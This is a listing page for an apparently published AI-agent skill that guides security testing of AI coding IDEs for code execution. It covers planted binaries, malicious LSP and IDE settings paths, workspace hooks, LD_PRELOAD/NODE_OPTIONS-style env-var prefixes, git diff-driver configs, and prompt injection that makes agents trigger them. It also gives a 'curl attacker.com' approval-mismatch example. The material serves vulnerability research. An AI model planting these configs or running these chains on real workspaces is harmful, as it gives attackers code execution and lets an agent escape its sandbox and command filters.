Stats
Actions
Tags
From ai-ide-vuln-skills
Tests AI IDEs for code execution vulnerabilities via hooks abuse, binary planting, IDE settings exploitation, tools auto-loading, and env var prefixing. Patterns tiered by interaction from zero to trusted workspace.
How this skill is triggered — by the user, by Claude, or both
Slash command
/ai-ide-vuln-skills:ai-ide-code-execThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
This skill covers code execution patterns in AI-assisted IDEs that do not involve MCP configuration poisoning or terminal command filter bypasses -- those have their own dedicated skills. What remains is a diverse set of vectors that share a common trait: they abuse features the IDE trusts implicitly, whether that is a hooks system, a binary search path, an IDE settings file, an auto-loaded too...
This skill covers code execution patterns in AI-assisted IDEs that do not involve MCP configuration poisoning or terminal command filter bypasses -- those have their own dedicated skills. What remains is a diverse set of vectors that share a common trait: they abuse features the IDE trusts implicitly, whether that is a hooks system, a binary search path, an IDE settings file, an auto-loaded tool definition, an environment variable prefix, or a workspace config file consumed by an otherwise safe executable.
Patterns are organized by interaction tier -- the amount of user interaction required to trigger code execution. Test in tier order: Tier 1 vectors are the highest severity and most reportable; Tier 4 vectors are only interesting with TOCTOU or scope escape.
| Tier | Trigger Model | Reportability |
|---|---|---|
| Tier 1 -- Zero-Interaction | Config auto-loads, code auto-executes, no trust granted. Victim clones repo and opens it. | Highest -- vendors cannot argue "user chose to trust." |
| Tier 2 -- Agent-Mediated | User sends a message or interacts normally. PI in workspace files makes the agent act on attacker's behalf. No explicit approval of the malicious action. | Strong -- user did not approve the specific action. |
| Tier 3 -- Requires Approval Click | User must click Trust, Allow, or approve a specific action. | Weak -- vendors argue user made a conscious choice. Only interesting if approval is misleading or social engineering is trivial. |
| Tier 4 -- Requires Trusted Workspace + Specific Action | User already trusted project and must take a specific action. | Weakest standalone. Interesting ONLY with TOCTOU (trust granted then config modified via git) or scope escape (workspace action writes global config). |
Before running this skill, confirm the following via ai-ide-recon:
Use this skill after ai-ide-recon has identified one or more of the following in the target IDE:
.vscode/settings.json, .idea/workspace.xml, .code-workspace, or equivalent files that can influence executable paths or feature behavior.Not every pattern applies to every IDE. Use this table to determine which patterns to test:
| Pattern | VS Code-based (Cursor, Windsurf, Kiro, Copilot) | JetBrains (IDEA, WebStorm, PyCharm) | CLI-based (Claude Code, Codex CLI, Gemini CLI, Amp) | Cloud agents (Devin, Jules, Codex) |
|---|---|---|---|---|
| Tools Auto-Loading | Test .vibe/tools/ and IDE-specific dirs | Test external tools and run configs | Test workspace tool definition dirs | Test workspace-level agent tool configs |
| Binary Planting | High priority -- resolves binaries via PATH | Medium -- has explicit tool path configs | High priority -- CLI tools invoke git, python, node | Low -- typically sandboxed, test escapes |
| Hooks Abuse | Test IDE-specific hooks (Windsurf cascade hooks, Kiro hooks) | Test file watchers and external tool configs | Test for pre/post command hooks in agent config | Test session lifecycle hooks |
| IDE Settings Abuse | Primary target -- .vscode/settings.json, .code-workspace | Primary target -- .idea/workspace.xml | Not applicable | Not applicable |
| Env Var Prefixing | Test in integrated terminal | Test in external tool invocations | Primary target -- commands passed to shell | Test in sandbox command execution |
| Safe Exec + Malicious Config | Test git, npm, pip, linter configs | Test git, maven, gradle configs | Primary target -- git .gitconfig, npm .npmrc | High priority -- sandbox escapes via tool configs |
Some IDEs load custom tool definitions from workspace directories automatically, allowing a cloned repository to define tools that execute arbitrary code. This is Tier 1 when tool definitions are loaded and registered without any approval prompt on workspace open.
Steps:
Check for auto-load directories. Known examples: .vibe/tools/*.py (Vibe Coding agents), .kiro/powers/ (Amazon Kiro), Gemini CLI tool discovery paths, Mistral Vibe CLI Python tools.
Place a tool definition. For Python-based tools, the definition itself may execute code on import. For declarative definitions, the tool's execution command is the payload.
Test execution without approval. Does the IDE load and register the tool without prompting? If yes, this is Tier 1.
Test auto-invocation. Can the tool definition include metadata that causes the AI agent to invoke it automatically based on its description alone?
Test via prompt injection. Can PI in a workspace file instruct the AI to invoke the custom tool? If the tool loaded automatically but requires PI to invoke, the load is Tier 1 and the invocation is Tier 2.
IDE loads Language Server Protocol configs from workspace settings. LSP binary paths overridden to point to attacker executable. Triggers when a matching source file is opened. Confirmed in: Zed IDE.
Steps:
Identify LSP config paths. Check whether the IDE reads LSP server definitions from workspace-level settings (e.g., .zed/settings.json, .vscode/settings.json, .idea/ configs). Look for keys like lsp, languageServer, language_servers, or tool-specific paths (e.g., rust-analyzer.server.path).
Override LSP binary path. Set the LSP server binary to an attacker-controlled executable in the workspace config:
{
"lsp": {
"rust-analyzer": {
"binary": {
"path": "./.malicious/fake-rust-analyzer"
}
}
}
}
Place the payload binary. Create the executable at the configured path within the workspace. It should perform a marker action (e.g., touch /tmp/lsp-exec-test) and optionally proxy to the real LSP server for stealth.
Trigger execution. Open a source file matching the language the LSP server handles (e.g., open a .rs file to trigger rust-analyzer). If the malicious binary executes without approval, this is Tier 1. If the IDE prompts but the prompt does not show the binary path, this is still a strong finding.
Test via prompt injection. Can PI instruct the agent to open a file that triggers the overridden LSP? If the user just sends a message and the agent opens the file, this is Tier 2.
Note: This pattern is distinct from IDE Settings Abuse (pattern 4) because LSP configs may be loaded through a different code path with different trust checks. Test both independently.
Binary planting exploits how an IDE resolves external executable paths. If the IDE searches the workspace directory before system directories, an attacker can plant a malicious binary that gets executed instead of the legitimate tool. This is Tier 1 when the planted binary executes on workspace open (e.g., auto-invoked git status).
Steps:
Identify invoked binaries. Determine which external executables the IDE calls: git, python, node, npm, pip, eslint, prettier, tsc, language servers. Use process monitoring (procmon, fs_usage, strace) to capture subprocess invocations.
Check PATH resolution order. Does the workspace directory appear in PATH? Does the IDE prepend ./ or node_modules/.bin/? Does the IDE read PATH from a workspace .env file? On Windows, does the current directory take precedence?
Place a malicious binary. Create an executable in the workspace with the same name as a binary the IDE invokes. It should perform a marker action and optionally proxy to the real binary.
Trigger execution. Perform the IDE action that invokes the target binary. For git, opening a repository often suffices (many IDEs run git status on open). If it fires on open with no approval, this is Tier 1.
Test with AI agent. Ask the agent to perform an action that invokes the planted binary (e.g., "check git status"). If the agent invokes it based on a normal user message, this is Tier 2.
Test PI trigger. Embed instructions that cause the agent to invoke the target binary, completing the chain: planted binary + PI trigger = code execution.
See references/binary-planting-vectors.md for per-IDE vectors.
Hooks are lifecycle callbacks that execute code at defined trigger points. When hooks are configurable via workspace files and fire on workspace open without approval, this is Tier 1.
Steps:
Identify hook support. Check documentation for "hooks," "lifecycle events," "pre/post actions," "triggers." Check known config paths: Windsurf cascade hooks, Kiro .kiro/hooks/, Claude Code hooks in settings, VS Code tasks with runOn.
Locate hook configuration. The critical question: can hooks be defined in workspace-level config files that ship with a cloned repository? If hooks are only configurable at the user level, this vector requires a prior file write (see step 4, which moves it to Tier 2).
Test execution without approval. Create a hook config that executes a benign marker command (e.g., touch /tmp/hook-fired). Open the workspace and trigger the hook action. Check whether the hook executed without any prompt. If yes, this is Tier 1.
Test PI-to-hook-write chain. If hooks require user-level config, test whether prompt injection can instruct the AI agent to write a hook config file. This is the PI --> file write --> hooks execution chain, making it Tier 2.
Test hook persistence. After installation, does the hook survive IDE restart? Can a hook install other hooks?
See references/hooks-payloads.md for hook configuration templates.
IDEs read workspace-level settings files that can configure executable paths, enabling code execution from a cloned repository. These are Tier 2 when a specific file must be opened (the agent can be PI'd into opening it) or Tier 3 when the user must explicitly open/trust the workspace settings.
VS Code -- php.validate.executablePath:
.git/hooks/*.sample are convenient -- they exist in every git repo and are already executable on Unix).php.validate.executablePath in .vscode/settings.json to the absolute path of the payload file..php file -- VS Code's PHP validation immediately triggers the configured binary.VS Code -- Multi-Root Workspace:
.code-workspace file with a folder path pointing to a system directory containing a writable-executable file (bypasses out-of-workspace file edit restrictions).php.validate.executablePath in the .code-workspace settings to the payload path..php file to trigger execution.JetBrains -- PATH_TO_GIT [Tier 1 variant]:
.idea/workspace.xml, setting PATH_TO_GIT in Git.Settings to the payload path.Source: IDEaster research
See references/ide-settings-vectors.md for exact file contents.
When an IDE's command execution system evaluates commands as shell strings rather than argument arrays, an attacker can prepend environment variable assignments to bypass filters. This is Tier 2 because it requires PI to instruct the agent to execute the prefixed command.
Steps:
Test basic prefixing. Have the AI agent execute FOO=bar whoami. If it works, the parser does not strip prefixes.
Test security-relevant variables:
LD_PRELOAD=/path/to/evil.so <safe-command> -- loads shared library on LinuxDYLD_INSERT_LIBRARIES=/path/to/evil.dylib <safe-command> -- macOS equivalentPYTHONPATH=/attacker/path python <script> -- imports attacker modulesNODE_OPTIONS='--require /tmp/evil.js' node <script> -- forces module loadGIT_EXTERNAL_DIFF=/tmp/evil.sh git diff -- executes arbitrary scriptPATH=/attacker/bin:$PATH <command> -- hijacks binary resolutionTest via prompt injection. Embed instructions that convince the agent the prefix is necessary (e.g., "set PYTHONPATH to the local venv before running tests").
Test filter interaction. If the IDE has a command allowlist, determine whether the filter evaluates the full string or only the command name after prefixes.
Common development tools read per-workspace config files that can redirect their behavior. An otherwise safe executable becomes a code execution vector when combined with a malicious workspace config. This is Tier 2 because the agent must invoke the tool (often via PI), but the tool itself is allowlisted and unsuspicious.
Steps:
Identify tools that read workspace config:
git reads .gitconfig, .git/config, .gitattributes, .gitmodulesnpm reads .npmrc, package.json (scripts section)pip reads setup.py, setup.cfg, pyproject.tomleslint reads .eslintrc.* (plugin loading)cargo reads .cargo/config.toml (build command overrides)Create malicious config. Examples:
.gitconfig with [diff "evil"] command = /tmp/payload.sh + .gitattributes mapping * diff=evilpackage.json with preinstall/postinstall scripts.gitmodules pointing to a malicious repositoryTrigger execution. Cause the IDE or agent to invoke the safe executable. For git, opening the workspace may suffice. For npm, asking the agent to install dependencies triggers scripts.
Test in sandboxed environments. Especially relevant for cloud agents (Codex, Devin, Jules) -- the sandbox may allow git but not arbitrary commands. Using git's own config to redirect execution escapes the intent of the sandbox.
Source: OpenAI Codex CLI sandbox escape via git external diff
Hooks that require a trusted workspace and explicit user enablement. Only reportable if combined with TOCTOU or scope escape.
Steps:
Test TOCTOU. In a workspace where the user has already approved hooks: modify the hook config via git pull or branch switch. Does the IDE re-prompt? If the hook executes with modified content under the original approval, this is a TOCTOU vulnerability.
Test scope escape. Can a workspace hook write to user-level config (e.g., global git hooks, shell profile, IDE user settings)? If a workspace-scoped hook can install a global hook, this escapes the workspace trust boundary.
Test approval quality. When the user clicks "Trust" or "Allow," does the prompt clearly show what will execute? If the prompt is generic ("Trust workspace hooks?") and the hook content is not displayed, this weakens the approval gate.
See references/hooks-payloads.md for hook configuration templates.
These scenarios are not reportable unless additional conditions apply:
Hooks that fire only in a trusted workspace where the user explicitly enabled them. If the user clicked "Trust" on a clear prompt, the hooks config was visible, and the hook content has not changed since approval, this is working as designed. It becomes a vulnerability only if:
git pull) and the IDE does not re-prompt.A binary that executes only after the user explicitly approved the exact command. If the IDE shows the full command string, the user clicks "Allow," and the displayed command matches what executes, this is the approval gate working correctly. It becomes a vulnerability only if:
git status but executes git status; curl attacker.com).npx claudepluginhub mindgard/ai-ide-skills --plugin ai-ide-vuln-skillsMaps attack surface of AI-assisted IDEs with interaction tiers prioritizing zero-click vectors; analyzes docs for blind spots, enumerates configs for security testing.
Generates PermissionRequest hooks that auto-approve safe operations, auto-deny dangerous ones, and tailor rules to detected project stack. Safer alternative to --dangerouslySkipPermissions for manual permission mode.
Blocks unsafe code before commit with secret scanning, OWASP Top 10 detection, dependency audits (npm/pip/cargo), and permission checks. Hard security gate on critical findings.